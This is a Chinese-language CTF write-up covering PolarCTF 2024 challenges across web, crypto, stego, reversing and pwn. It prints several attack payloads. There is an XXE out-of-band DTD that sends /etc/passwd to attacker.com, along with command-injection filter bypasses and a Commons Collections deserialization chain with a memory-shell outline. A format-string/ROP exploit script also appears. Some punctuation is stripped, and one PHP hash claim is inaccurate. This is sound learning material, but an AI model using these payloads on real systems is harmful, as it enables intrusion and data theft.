PolarCTF 2024夏季赛:从源码审计到内存马,我的实战解题思路全解析
1. 赛题初探与解题框架搭建参加PolarCTF这类CTF比赛时我通常会先对所有题目进行快速扫描建立整体认知。这次夏季赛的WEB方向题目明显偏向实战型漏洞利用涉及PHP特性、目录遍历、XXE、命令执行绕过、反序列化等常见攻击面。我的解题策略是分类标记用颜色区分题目难度红/黄/绿资源分配优先解决低分但易上手的题目获取基础分深度突破对关键题目进行交叉验证如多个题目可能共用同一服务以WEB题审计为例题目直接给出PHP源码这种题型通常考察代码审计能力。我首先搭建了本地测试环境使用PHP 7.4与题目描述相同的运行环境避免因环境差异导致的误判。2. PHP特性漏洞的深度利用在审计题目中关键漏洞点出现在字符串比较环节if ($_POST[secret] 0e215962017) { // 授权逻辑 }这里使用了松散比较而0e215962017的MD5值恰好是自身。这种特性在PHP中会导致类型转换问题我通过以下步骤验证构造碰撞寻找MD5后以0e开头的字符串科学计数法绕过任何MD5哈希以0e开头且后续为纯数字的字符串都会在松散比较时被判定为0自动化验证php -r var_dump(0e215962017 0e123456789); # 输出true最终payload只需要提交secret0e215962017即可通过验证。这种漏洞在真实业务中也常见于密码重置等敏感操作环节。3. 目录遍历与敏感文件发现扫扫看题目描述简单但考察的是基础信息收集能力。我的操作流程基础扫描gobuster dir -u http://target/ -w /usr/share/wordlists/dirb/common.txt -x php智能补全当发现/admin存在时尝试常见变体/admin.bak/admin.php~/admin.old历史版本探测git-dumper http://target/.git/ ./output最终在/flag.php找到flag这种题目提醒我们自动化工具扫描阴性时手动尝试常见备份文件路径往往能收获惊喜。4. XXE漏洞的OOB利用技巧ExX?题目通过DOM提示可能存在XXE漏洞。我使用了一种带外交互的技术方案构造恶意DTD!ENTITY % payload SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % param !ENTITY exfil SYSTEM http://attacker.com/?leak%payload;分阶段攻击POST /dom.php HTTP/1.1 Host: target Content-Type: application/xml ?xml version1.0? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY % dtd SYSTEM http://attacker.com/malicious.dtd %dtd; %param; ] fooexfil;/foo数据外带通过DNS日志或HTTP服务器接收编码后的文件内容。这种技术特别适合存在出站过滤但允许DNS查询的环境。5. 命令执行的多层绕过你知道sys还能这样玩题目展示了Linux命令执行的过滤挑战。我采用的绕过方案十六进制编码system(hex2bin(77686f616d69)); // whoami空变量拼接c${x}at /fl${x}ag引号分割whoami特别值得注意的是在PHP环境下可以通过$_GET[0]($$_GET[1])这样的动态函数调用实现无字母命令执行这对WAF有极好的绕过效果。6. Java反序列化漏洞实战CC链题目是典型的Apache Commons Collections反序列化漏洞。我构建内存马的步骤生成恶意类使用javac编译包含恶意逻辑的TemplateImpl类构造调用链Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) };内存马注入通过注册Spring Controller实现持久化后门RequestMapping(/malicious) public void inject(HttpServletRequest request) { // 命令执行逻辑 }这种攻击在真实Java Web应用中危害极大防御方案包括升级CC库版本、使用SerialKiller等防护工具。7. 密码学题目的快速突破对于Crypto题目我的解题密码本包含以下技巧密码识别摩斯电码通过长短符号分布判断培根密码5位分组特征栅栏密码观察字符间隔规律RSA题型from Crypto.Util.number import * n 365354477477 e 65537 c 124198634960 # 使用yafu分解n得到p,q p,q 123457, 2959321 phi (p-1)*(q-1) d inverse(e, phi) m pow(c,d,n) print(long_to_bytes(m))编码识别技巧Base64结尾常带号字符集特定Hex长度偶数仅含0-9a-fUnicode存在大量\x00间隔8. 隐写术的多维度分析MISC题目神秘人告白考察综合隐写能力。我的分析矩阵基础检查binwalk -e image.png strings image.png | grep -i flag元数据分析from PIL import Image img Image.open(image.png) print(img.info) # 查看可疑注释LSB隐写提取import numpy as np pixels np.array(img) lsb (pixels 1) * 255 # 提取最低位平面频域分析使用StegSolve进行DCT系数分析最终通过修改图片高度值发现隐藏数据这种技巧在CTF中相当常见关键是要养成检查文件结构的习惯。9. 逆向工程的模式识别在逆向题目中我总结的快速解题模式字符串线索rabin2 -z ./binary | grep flag加密算法识别常量搜索AES的S盒、CRC32多项式典型模式Feistel结构、S-P网络动态调试技巧import angr proj angr.Project(./binary) state proj.factory.entry_state() simgr proj.factory.simulation_manager(state) simgr.explore(find0x400A23) # 目标地址对于EasyGo这样的题目通过识别简单的异或/加减操作后可以立即编写解密脚本enc [0x6A, 0x69, 0x71, 0x6E, 0x6E, 0x6B] flag .join([chr((x2)^3) for x in enc])10. PWN题目的武器化利用format_ropx86展示了格式化字符串漏洞的完整利用链。我的攻击方案分为三个阶段信息泄露payload b%7$p.%11$p p.sendline(payload) leak p.recv().split(b.) libc_base int(leak[0],16) - 0x5f150 canary int(leak[1],16)栈溢出构造rop ROP(libc) rop.system(next(libc.search(b/bin/sh))) payload flat({ 0x108: canary, 0x118: rop.chain() })稳定化处理添加pause()保证在远程环境下的稳定性这种组合利用方式在实际渗透测试中也极具价值特别是对老旧系统的攻击。